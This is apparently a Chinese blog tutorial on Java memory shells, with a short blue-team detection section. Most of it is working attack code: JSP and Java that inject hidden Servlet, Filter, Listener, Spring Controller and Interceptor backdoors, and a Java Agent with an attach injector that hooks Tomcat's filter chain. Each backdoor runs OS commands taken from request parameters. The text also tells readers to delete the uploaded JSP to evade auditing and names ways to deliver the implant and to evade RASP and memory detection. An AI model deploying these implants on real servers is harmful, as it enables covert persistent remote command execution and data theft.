1.Java内存马简介
1.1.Java内存马的本质
无文件驻留的Web后门,通过直接修改JVM运行时内存中的关键组件实现攻击。其核心特性:
- 无文件落地 - 不写入磁盘,规避传统文件查杀
- 驻留于中间件进程 - 寄生在Tomcat/Jetty/WebLogic等容器的JVM中
- 动态注册恶意端点 - 运行时注入Filter/Servlet/Controller等组件、
1.2.常见内存马分类
- 传统Web应用型
- 利用Servlet容器(如Tomcat)的
Context
存储核心组件映射关系,通过动态注册恶意组件实现驻留。
- 框架型
- Spring MVC:Controller处理请求,Interceptor实现类似Filter的功能。
- Spring WebFlux:使用
WebFilter
替代传统Filter,适用于响应式编程。
- 中间件型
- 针对中间件管道式设计(如Tomcat的Valve链、Grizzly的Filter链),在关键路径插入恶意处理器。
- 其他类型
- 线程型:创建不可停止的线程绕过GC,永久驻留内存。
- RMI型:动态启动RMI服务暴露后门。
- Agent型:通过JVMTI实现无文件注入,技术演进包括Self-attach等。
- 通用特征
- 均通过动态注册/替换组件实现内存驻留,无需文件落地。
- 利用运行时查找机制(如Context、框架容器)匹配并执行恶意逻辑。
Java内存马分类表
类型 |
子类型 |
实现方式 |
传统Web应用型 |
Servlet型内存马 |
动态注册Servlet及映射路由 |
|
Filter型内存马 |
动态注册Filter及映射路由 |
|
Listener型内存马 |
动态注册Listener |
框架型 |
Spring Controller型内存马 |
动态注册Controller及映射路由 |
|
Spring Interceptor型内存马 |
动态注册Interceptor及映射路由 |
|
Spring WebFlux型内存马 |
动态注册WebFilter及映射路由(适用于响应式框架) |
中间件型 |
Tomcat Valve型内存马 |
动态注册Valve(Tomcat请求处理管道组件) |
|
Tomcat Upgrade型内存马 |
动态注册UpgradeProtocol(协议升级组件) |
|
Tomcat Executor型内存马 |
动态替换全局Executor(线程池组件) |
|
Tomcat Poller型内存马 |
动态替换全局Poller(NIO事件轮询组件) |
|
Grizzly Filter型内存马 |
动态注册Grizzly Filter及映射路由 |
其他内存马 |
WebSocket型内存马 |
动态注册WebSocket路由及处理逻辑 |
|
Tomcat JSP型内存马 |
动态注册JSP管理逻辑实现驻留 |
|
线程型内存马 |
添加永不终止的线程驻留内存 |
|
RMI型内存马 |
动态启动RMI Registry并绑定恶意后门 |
|
Agent型内存马 |
通过Hook技术注入无文件Agent(支持Self-attach等高级注入) |
|
|
特点 |
应用场景 |
传统Web应用型 |
Servlet型内存马 |
动态注册恶意Servlet,通过URL映射拦截请求;持久性强,直接操作容器核心组件 |
入侵传统Servlet容器(Tomcat/Jetty)场景,适用于老式Java Web应用 |
|
Filter型内存马 |
在请求处理链中插入恶意过滤器;可捕获所有请求,隐蔽性高 |
需要全局监控HTTP请求的场景(如窃取登录凭证、修改响应内容) |
|
Listener型内存马 |
通过事件监听器触发(如Session创建);被动执行,资源占用低 |
持久化后门(如Session创建时激活恶意逻辑),适合低频触发的场景 |
框架型 |
Spring Controller型 |
注册伪控制器与合法路由绑定;可无缝集成Spring上下文,检测难度高 |
Spring MVC应用渗透,模仿正常API接口(如添加虚假/user/info端点) |
|
Spring Interceptor型 |
在拦截器链中插入恶意逻辑;可访问Controller上下文数据 |
需要篡改业务数据的场景(如修改交易金额、窃取API参数) |
|
Spring WebFlux型 |
针对响应式框架的WebFilter注入;非阻塞处理,高性能 |
高并发WebFlux应用(如网关系统),需绕过传统防护机制的场景 |
中间件型 |
Tomcat Valve型 |
在请求处理管道插入Valve组件;深度嵌入中间件内核,跨应用生效 |
Tomcat多应用部署环境,需全局控制的场景(如所有应用的流量监控) |
|
Tomcat Upgrade型 |
劫持协议升级过程(如HTTP转WebSocket);在协议切换时激活 |
WebSocket通信劫持场景(如篡改实时聊天内容) |
|
Executor/Poller型 |
替换线程调度核心组件;控制请求分发逻辑,影响范围大 |
资源耗尽攻击(如创建阻塞线程池),或精细控制请求路由 |
其他类型 |
WebSocket型 |
注册恶意WebSocket端点;持久化双向通信通道 |
实时系统入侵(如股票交易终端、在线游戏),可长期窃取数据流 |
|
JSP型内存马 |
动态注册JSP解析逻辑;绕过文件上传检测,驻留内存 |
规避WAF文件检测的场景,配合JSP引擎漏洞利用 |
|
线程型内存马 |
创建永不停止的线程;无HTTP依赖,直接内存驻留 |
非Web环境持久化(如后台服务),作为反弹Shell的中继 |
|
RMI型内存马 |
启动恶意RMI服务;支持远程方法调用,跨JVM控制 |
内网横向移动,作为分布式后门(如绑定在1099端口) |
|
Agent型内存马 |
通过JVMTI注入,无文件落地;可Hook任意Java方法,操作系统级隐蔽性 |
高级持久化攻击(APT),对抗RASP检测,适用于安全防护严格的环境 |
1.3.内存码的攻击与防御
红队实践建议
注入时机的选择
- 优先利用反序列化漏洞(如Shiro rememberMe)
- 结合文件上传漏洞加载字节码(非写入Web目录)
- JNDI注入 → 加载远程恶意类
隐蔽性增强技巧
1 2 3 4 5
| Field filterMaps = ctx.getClass().getDeclaredField("filterMaps"); filterMaps.setAccessible(true); List<FilterMap> maps = (List<FilterMap>) filterMaps.get(ctx); maps.add(0, evilFilterMap);
|
对抗内存检测
- 使用Java Agent技术抹去线程栈痕迹
- 通过JNI调用Native代码执行敏感操作
- 采用反射型代理隐藏恶意调用链
蓝队检测方案
1 2 3 4 5 6 7 8
| $ jmap -histo <pid> | grep -E 'Filter|Servlet|evil'
$ diff <(curl http://target/urls) <(cat conf/web.xml | grep url-pattern)
JMC → MBean Server → Tomcat:type=Filter
|
最新演进方向
- GraalVM原生镜像注入 - 突破JVM沙箱限制
- 云原生Sidecar劫持 - 攻击Service Mesh中的Envoy代理
- JVM TI Agent持久化 - 绕过Java安全管理器
提示:实际渗透中需结合内存马管理器(如Godzilla内存马模块)实现交互式控制,最新Spring Boot内存马需突破Actuator防护。
2.常见内存马代码编写
JEE环境搭建
- 首先下载并安装Tomcat服务器,可以选择下载较低版本,较高版本的catalina包,还没有发布,无法通过pom文件导入。






- 可以将下载的好的源代码植入到项目结构的源代码文件中,用于tomcat的源代码调试。

- tomcat加载内存马需要导入catalina依赖。
- 尽量保证与tomcat的版本一致,若当前对应的tomcat版本没有发布的catalina依赖,可以降低版本。
1 2 3 4 5
| <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>10.1.23</version> </dependency>
|
2.1.Servlet内存马
2.1.1.servlet加载
关于一个正常的servlet是如何配置的
- 创建MyServlet.java文件,配置自己的Servlet逻辑
1 2 3 4 5 6 7 8
| public class MyServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.setContentType("text/plain;charset=UTF-8"); resp.getWriter().println("My Servlet Hello World"); } }
|
1 2 3 4 5 6 7 8 9
| <servlet> <servlet-name>MyServlet</servlet-name> <servlet-class>com.gaomu.memshell.MyServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>MyServlet</servlet-name> <url-pattern>/my</url-pattern> </servlet-mapping>
|





- 其中代码整个流程就是通过standardContext这个对象,创建Wrapper包装器,然后分别遍历封装servlet,同时配置映射路径。
2.1.2.内存马编写
- 根据url接口调试,我们可以从调试中看到standardContext如何获取,我们动态注册自己servlet也需要使用到该standardContext。

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| <%@ page import="java.io.IOException" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.Wrapper" %><%-- Created by IntelliJ IDEA. User: GaoMu Date: 2025/6/10 Time: 21:42 To change this template use File | Settings | File Templates. --%> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%! public class MemServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException { Runtime.getRuntime().exec("calc"); } } %> <%
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextFiled = applicationContext.getClass().getDeclaredField("context"); standardContextFiled.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextFiled.get(applicationContext);
Wrapper wrapper = standardContext.createWrapper(); wrapper.setName("servletmemshell"); wrapper.setServletClass(MemServlet.class.getName()); wrapper.setServlet(new MemServlet());
standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/memshell", "servletmemshell");
%>
|
- 通过上传以上内存马到tomcatWEB目录下访问该jsp路径,执行成功后会将恶意的servlet注入到tomcat容器中,当访问该servlet路径-> /memshell,成功执行恶意代码,当然在实际场景中肯定是需要将恶意servlet转换为WEBshell的恶意代码,用于执行系统命令。并且通常在代码执行成功之后,我们可以上传的JSP文件删除。避免被审计到。
2.2.Filter内存马
2.2.1.Filter加载
关于一个正常的Filter过滤器是如何配置的
- 添加MyFilter.java基础HttpFilter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public class MyFilter extends HttpFilter { @Override protected void doFilter(HttpServletRequest req, HttpServletResponse res, FilterChain chain) throws IOException, ServletException { String echo = req.getParameter("echo"); if (echo != null) { res.setContentType("text/plain"); res.getWriter().print("your input param is" + echo); } else { super.doFilter(req, res, chain); }
} }
|
1 2 3 4 5 6 7 8
| <filter> <filter-name>my-filter</filter-name> <filter-class>com.gaomu.memshell.MyFilter</filter-class> </filter> <filter-mapping> <filter-name>my-filter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>
|

那么一个filter在tomcat容器中具体是如何创建并注册的呢?

2.2.2.内存马编写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| <%@ page import="java.io.IOException" %> <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStreamReader" %> <%@ page import="java.io.SequenceInputStream" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %><%-- Created by IntelliJ IDEA. User: GaoMu Date: 2025/6/11 Time: 22:55 To change this template use File | Settings | File Templates. --%> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%! public class ShellFilter extends HttpFilter { @Override protected void doFilter(HttpServletRequest req, HttpServletResponse res, FilterChain chain) throws IOException, ServletException { String cmd = req.getParameter("cmd"); if (cmd == null) { super.doFilter(req, res, chain); return; } try (BufferedReader br = new BufferedReader( new InputStreamReader(new SequenceInputStream( Runtime.getRuntime().exec(cmd).getInputStream(), Runtime.getRuntime().exec(cmd).getErrorStream())))) { StringBuilder output = new StringBuilder(); String line; while ((line = br.readLine()) != null) { output.append(line).append("<br>"); } res.setContentType("text/html; charset=UTF-8"); res.getWriter().print(output); } } } %> <% ServletContext servletContext = request.getServletContext(); Field applicationContextField = servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext); Field standardContextFiled = applicationContext.getClass().getDeclaredField("context"); standardContextFiled.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextFiled.get(applicationContext);
ShellFilter shellFilter = new ShellFilter();
FilterDef filterDef = new FilterDef(); filterDef.setFilterName("shell-filter"); filterDef.setFilter(shellFilter); filterDef.setFilterClass(shellFilter.getClass().getName());
FilterMap filterMap = new FilterMap(); filterMap.setFilterName("shell-filter"); filterMap.addURLPattern("/*");
standardContext.addFilterDef(filterDef); standardContext.addFilterMap(filterMap); standardContext.filterStart();
out.println("add success"); %>
|
演示:


2.3.Listener内存马
2.3.1.Listener加载
类型 |
触发事件 |
ServletContextListener |
在ServletContext创建和关闭时都会通知ServletContextListener监听器 |
HttpSessionListener |
当HttpSession刚被创建或者失效时,将会通知HttpSessionListener监听器 |
ServletRequestListener |
在ServletRequest创建和关闭时都会通知ServletRequestListener监听器 |
ServletRequestListener的正常实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public class MyListener implements ServletRequestListener { public void requestInitialized(ServletRequestEvent sre) { ServletRequest req = sre.getServletRequest(); String echo = req.getParameter("lecho"); if (echo != null) { Class<? extends ServletRequest> srClass = req.getClass(); try { Field requestField = srClass.getDeclaredField("request"); requestField.setAccessible(true); Request request = (Request) requestField.get(req); request.getResponse().getWriter().print(echo); } catch (Exception e) { throw new RuntimeException(e); } }
} }
|
在web.xml注册Listener
1 2 3
| <listener> <listener-class>com.gaomu.memshell.MyListener</listener-class> </listener>
|
如何通过jsp动态注入Listener
- 我们可以查看StandardContext中的调用,StandardContext通过调用fireRequestInitEvent方法,来调用监听器中的方法。
- 而这个Listener又是从getApplicationEventListeners中获取的,因此我们只需要将我们的Listener添加到applicationEventListenersList中我们就能够动态注入我们的监听器。



- 而关于applicationEventListenersList的操作StandardContext正好有一个addApplicationEventListener方法可以使用。

2.3.2.内存马编写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="java.io.SequenceInputStream" %> <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStreamReader" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %><%-- Created by IntelliJ IDEA. User: GaoMu Date: 2025/6/12 Time: 00:52 To change this template use File | Settings | File Templates. --%> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%! public class ShellListener implements ServletRequestListener { @Override public void requestInitialized(ServletRequestEvent sre) { ServletRequest req = sre.getServletRequest(); String lcmd = req.getParameter("lcmd"); if (lcmd == null) { return; } try { Field requestField = req.getClass().getDeclaredField("request"); requestField.setAccessible(true); Request request = (Request) requestField.get(req);
Process process = Runtime.getRuntime().exec(lcmd); StringBuilder output = new StringBuilder(); try (BufferedReader reader = new BufferedReader( new InputStreamReader(new SequenceInputStream( process.getInputStream(), process.getErrorStream())))) { String line; while ((line = reader.readLine()) != null) { output.append(line).append("<br>"); } process.waitFor(); } request.getResponse().getWriter().print(output); } catch (Exception e) { throw new RuntimeException("命令执行失败", e); } } }
%>
<% ServletContext servletContext = request.getServletContext(); Field applicationContextField = servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext); Field standardContextFiled = applicationContext.getClass().getDeclaredField("context"); standardContextFiled.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextFiled.get(applicationContext);
standardContext.addApplicationEventListener(new ShellListener());
out.println("Inject successful"); %>
|
注入演示:


Springboot环境搭建
- 使用云原生脚手架自动搭建即可,脚手架。
- 建议选择2.4.2较低版本

2.4.SpringController内存马
2.4.1.Controller加载
我们如何动态的注入一个Controller呢?
- 通过对controller请求路径的分析,我们可以看到lookupHandlerMethod这个方法,其中lookup函数就是我们controller的实际映射路径,且mappingRegistry中的registry实际是一个HashMap,其中存储我们所有定义的Controller,以及其映射路径,因此我们只需要将我们自己定义的Controller注入到这个mappingRegistry的registry中,那么就相当于我们就成功注入了一个Controller。

- 那么我们如何获取将自己的Controller注入到mappingRegistry对象中呢?
- 我们可以看到下图,registerHandlerMethod方法spring启动时会依次使用该方法将,代码中的所有Controller注入到mappingRegistry中。因此我们也可以使用这个方法来注册Controller。

- 那么接下来我们的目标就是找到获取mappingRegistry对象,但是mappingRegistry是个抽象类,在spring运行时中可能并没有这样一个对象,但是不用担心,既然抽象类我们拿不到,但是我们可以通过获取抽象类的子类来调用这个register方法。

- 我们可以看下图RequestMappingHandlerMapping继承自RequestMappingInfoHandlerMapping这个非抽象类继承自AbstractHandlerMethodMapping,那么我们就可以通过获取RequestMappingHandlerMapping类,来获取的register方法。


- 我们也可以直接通过关联图表直观的看到继承关系图,因此我们只需要获取到其子类。

- 通过从DispatcherServlet中我们可以看到,spring通过从context(ApplicationContext) 中获取handlerMaping,那么我们可以从ApplicationContext中获取到RequestMappingInfoHandlerMapping。其中注释也说明了所有的HandlerMapping都在ApplicationContext中。

- 那么现在我们的问题又转换为了如何获取到ApplicationContext。
- 我们可以看到WebApplicationContext是ApplicationContext的直接子类,因此我们获取WebApplicationContext就可以了。

- 我们从DispatcherServlet中我们可以看到request中被设置了一个属性,叫做WEB_APPLICATION_CONTEXT_ATTRIBUTE,因此我们可以直接从request中获取到这个WebApplicationContext

2.4.2.内存马编写
那么根据以上的分析,我们可以编写如下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| @RequestMapping(value = "/injectcontroller") public String injectController() throws NoSuchMethodException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE, 0); RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class); InjectController injectController = new InjectController(); RequestMappingInfo info = new RequestMappingInfo(new PatternsRequestCondition("/evil"), new RequestMethodsRequestCondition(), null, null, null, null, null); mapping.registerMapping(info, injectController, injectController.getClass().getMethod("evil")); return "Inject controller!";
}
@RestController public class InjectController{ public String evil() throws IOException {
HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest(); String cmd = request.getParameter("cmd");
if (cmd == null) { return null; }
try (BufferedReader br = new BufferedReader( new InputStreamReader(new SequenceInputStream( Runtime.getRuntime().exec(cmd).getInputStream(), Runtime.getRuntime().exec(cmd).getErrorStream())))) {
StringBuilder output = new StringBuilder(); String line; while ((line = br.readLine()) != null) { output.append(line).append("<br>"); } return output.toString(); } catch (IOException e) { throw new RuntimeException(e); } } }
|
演示


2.5.SpringInterceptor内存马
2.5.1.Interceptor加载
如何正常注册一个Interceptor
1 2 3 4 5 6 7 8 9 10 11 12 13
| import org.springframework.web.servlet.HandlerInterceptor;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse;
public class MyInterceptor implements HandlerInterceptor { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) { System.out.println("proHandle test!"); return true; } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import com.gaomu.springmemshell.Interceptor.MyInterceptor; import org.springframework.context.annotation.Configuration; import org.springframework.web.servlet.config.annotation.EnableWebMvc; import org.springframework.web.servlet.config.annotation.InterceptorRegistry; import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
@Configuration @EnableWebMvc public class WebConfig implements WebMvcConfigurer { @Override public void addInterceptors(InterceptorRegistry registry) { registry.addInterceptor(new MyInterceptor()).addPathPatterns("/**"); } }
|

那么我们如何才能在spring运行时,动态注入一个拦截器呢?
- 可以看到AbstractHandlerMapping类中,在getHandlerExecutionChain中通过遍历adaptedInterceptors列表中的所有拦截器,将拦截器依次添加到chain中。因此我们只需要将自定义的拦截器,添加到adaptedInterceptors列表中即可。

- 而getHandlerExecutionChain方法是AbstractHandlerMapping类的方法,我们同样可以和之前Controller内存马加载的时候一样,使用AbstractHandlerMapping的子类RequestMappingHandlerMapping。我们可以通过这个类来调用getHandlerExecutionChain方法,同时RequestMappingHandlerMapping可以通过WebApplicationContext拿到,因此和之前一样的操作。
2.5.2.内存马编写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| @RequestMapping(value = "/injectinterceptor") public String injectInterceptor() throws NoSuchMethodException, NoSuchFieldException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE, 0);
RequestMappingHandlerMapping mapping = null; if (context != null) { mapping = context.getBean(RequestMappingHandlerMapping.class); }
Field adaptedInterceptorsField = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); adaptedInterceptorsField.setAccessible(true); try { List<HandlerInterceptor> handlerInterceptors = (List<HandlerInterceptor>) adaptedInterceptorsField.get(mapping); handlerInterceptors.add(new ShellInterceptor()); } catch (IllegalAccessException e) { throw new RuntimeException(e); } return "inject interceptor!"; }
public class ShellInterceptor implements HandlerInterceptor { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String icmd = request.getParameter("icmd"); if (icmd != null){ Process proc = Runtime.getRuntime().exec(icmd); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(proc.getInputStream())); String line; while ((line = bufferedReader.readLine()) != null) { response.getWriter().println(line); } return false; } return true; } }
|
- 访问/injectinterceptor,再访问任意路径时使用icmd传入参数执行系统命令。
2.6.Agent内存马
2.6.1.Java Agent
Java Agent是一种可以在JVM启动时或运行时附加的工具,它可以拦截并修改类文件字节码。java Agent通常用于实现AOP(面向切面的编程)、性能监控、日志记录等功能。
Java Agent又两种加载方式:
- Premain:在JVM启动时通过命令参数 -javaagent:path/to/you-agent.jar来指定
- Agentmain:在JVM已经启动后,通过Attach API动态地附加到正在运行地JVM程序上。
2.6.2.ApplicationFilterChain
- 通过对servlet进行断点测试分析,发现在程序到达servlet前多次调用ApplicaitonFilterChain#doFilter(request, response, chain)。根据Tomcat的请求传递过程,请求必将经过Filter链,因此只要存在Filter,ApplicationFilterChain必将被调用。

2.6.3.内存马编写

- 然后最重要的是编写pom.xml文件,其中有很多细节需要注意。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <dependencies> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.29.2-GA</version> </dependency> </dependencies> <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-assembly-plugin</artifactId> <configuration> <descriptorRefs> <descriptorRef>jar-with-dependencies</descriptorRef> </descriptorRefs> <archive> <manifestEntries> <Main-Class>test</Main-Class> <Agent-Class>AgentMainTest</Agent-Class> <Can-Redefine-Classes>true</Can-Redefine-Classes> <Can-Retransform-Classes>true</Can-Retransform-Classes> </manifestEntries> </archive> </configuration> <executions> <execution> <id>make-assembly</id> <phase>package</phase> <goals> <goal>single</goal> </goals> </execution> </executions> </plugin> </plugins> </build>
|
- 然后需要编写一个Transformer类,用于对ApplicationFilterChain进行转换,注入我们需要执行的代码。
- 具体实现细节请根据注解解读
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| import java.io.ByteArrayInputStream; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.security.ProtectionDomain;
import javassist.*;
public class MyTransformer implements ClassFileTransformer { @Override public byte[] transform( ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer ) throws IllegalClassFormatException {
if (className.equals("org/apache/catalina/core/ApplicationFilterChain")) { ClassPool pool = ClassPool.getDefault(); pool.appendClassPath(new LoaderClassPath(loader));
try { CtClass cc = pool.makeClass(new ByteArrayInputStream(classfileBuffer)); CtMethod doFilterMethod = cc.getDeclaredMethod("doFilter");
doFilterMethod.insertBefore("{ " + "" + " }"); return cc.toBytecode(); } catch (Exception e) { throw new RuntimeException("类转换失败: " + className, e); } }
return null; } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| String cmd = request.getParameter("cmd"); if (cmd != null) { try { Process proc = Runtime.getRuntime().exec(cmd); java.io.InputStream in = proc.getInputStream(); java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(in)); response.setContentType("text/html; charset=UTF-8"); String line; java.io.PrintWriter out = response.getWriter(); StringBuilder output = new StringBuilder(); while ((line = br.readLine()) != null) { output.append(line).append("<br>"); } out.println(output); out.flush(); out.close(); } catch (java.io.IOException e) { throw new RuntimeException(e); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| import java.lang.instrument.Instrumentation; import java.lang.instrument.UnmodifiableClassException;
public class AgentMainTest {
public static void agentmain(String agentArgs, Instrumentation inst) { inst.addTransformer(new MyTransformer(), true);
for (Class<?> clazz : inst.getAllLoadedClasses()) { if (clazz.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) { try { inst.retransformClasses(clazz); } catch (UnmodifiableClassException e) { throw new RuntimeException("类重转换失败: " + clazz.getName(), e); } break; } } } }
|
大概梳理以下流程。
编写AgentMainTest#agentmain方法,遍历JVM中所有已经加载的类,当遍历到ApplicationFilterChain类时,使用自定义的transfomer进行转换。
通过自定义的transformer将我们自定义的恶意代码块注入到ApplicationFilterChain的doFilter方法中。注入代码的逻辑为当请求参数中存在cmd参数时,执行对应系统命令。
最后使用maven进行package打包为jar就可以了。
2.6.4.注入agent内存马
- 上传jar包,然后通过jcmd命令的方式注入agent。
在注入之前我们需要获取到对应tomcat容器的进程号。
在Windows系统中使用powershell的Get-Process
,或者cmd的tasklist
都可以查询到tomcat容器的进程号。
然后使用jcmd命令将将agent注入到对应进程id的tomcat容器中。
1
| jcmd 17900 JVMTI.agent_load F:\Projects\IDEA\agentmemshell\target\agentmemshell-1.0-SNAPSHOT-jar-with-dependencies.jar
|

- 除了使用jcmd命令注入的方式,还可以将注入代码块一起编写到agent中,这样就可以直接上传jar包,利用
java -jar
命令运行注入程序,而无需在手动获取进程号。
- 编写获取进程ID,注入进程操作。
- 编写主类Test。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| import com.sun.tools.attach.AgentInitializationException; import com.sun.tools.attach.AgentLoadException; import com.sun.tools.attach.AttachNotSupportedException; import com.sun.tools.attach.VirtualMachine;
import java.io.IOException; import java.net.URL; import java.util.List; import java.util.stream.Collectors;
public class Test { public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { String processName = "java.exe"; List<Long> tomcatId = getProcessIds(processName); if (!tomcatId.isEmpty()) { for (Long id : tomcatId) { System.out.println(id); } System.out.println("正在注入到目标进程ID: " + tomcatId.get(0)); String jar = getJar(Test.class); VirtualMachine vm = VirtualMachine.attach(tomcatId.get(0).toString()); vm.loadAgent(jar); } else { System.out.println("未找到目标进程: " + processName); } System.out.println("注入成功!"); } public static String getJar(Class<?> clazz){ URL location = clazz.getProtectionDomain().getCodeSource().getLocation(); String path = location.getPath(); if (System.getProperty("os.name").startsWith("Windows")&&path.startsWith("/")){ path = path.substring(1); } return path; } public static List<Long> getProcessIds(String processName) { return ProcessHandle.allProcesses() .filter(ph -> { return ph.info().command() .map(cmd -> { String exeName = getBaseName(cmd); return exeName.equalsIgnoreCase(processName); }) .orElse(false); }) .map(ProcessHandle::pid) .collect(Collectors.toList()); }
private static String getBaseName(String path) { if (path == null) return ""; String separator = path.contains("/") ? "/" : "\\\\"; String[] parts = path.split(separator); return parts[parts.length - 1]; }
}
|
1 2 3 4 5 6
| <manifestEntries> <Main-Class>Test</Main-Class> <Agent-Class>AgentMainTest</Agent-Class> <Can-Redefine-Classes>true</Can-Redefine-Classes> <Can-Retransform-Classes>true</Can-Retransform-Classes> </manifestEntries>
|


2.7.Tomcat Valve内存马
2.7.1.Tomcat管道机制

- 如图Tomcat有四大容器,Engine、Host、Context、Wrapper。
- 在请求传递过程中,容器并不是直接相互调用的,而是通过每个容器内的的管道(Pipeline)和阀门(Valve)机制实现的。这种设计模式是Tomcat架构的核心,它让请求像水一样在容器层级间智能流动。
- Valve是可插拔的请求处理单元,每个Valve复制一项独立的功能(如日志、权限、数据压缩等)。
- 每个容器都有一个专属的Pipeline,每个Pipeline里面都有一个独立顺序位于最后的基础阀门,复制将请求传递到下层容器的Pipeline,同时我们又可以在每个管道中间自定义的阀门。
- Valve是tomcat的私有实现,不像Servlet是通用的。
2.7.2.源码分析
- 从对Tomcat的源码分析我们发现org.apache.catalina.Pipeline管道接口提供了一个addValve方法可以用于添加自定义的阀门。

- 同时每个容器都实现了Container接口,因此每个容器都存在getPipeline方法。我们只需要获取到任意一个容器,就可以获取到Pipeline对象。

2.7.3.内存马编写
- 首先创建jsp文件,获取StandardContext对象,同时编写自定义的Valve,Valve类需要继承ValveBase重写invoke方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
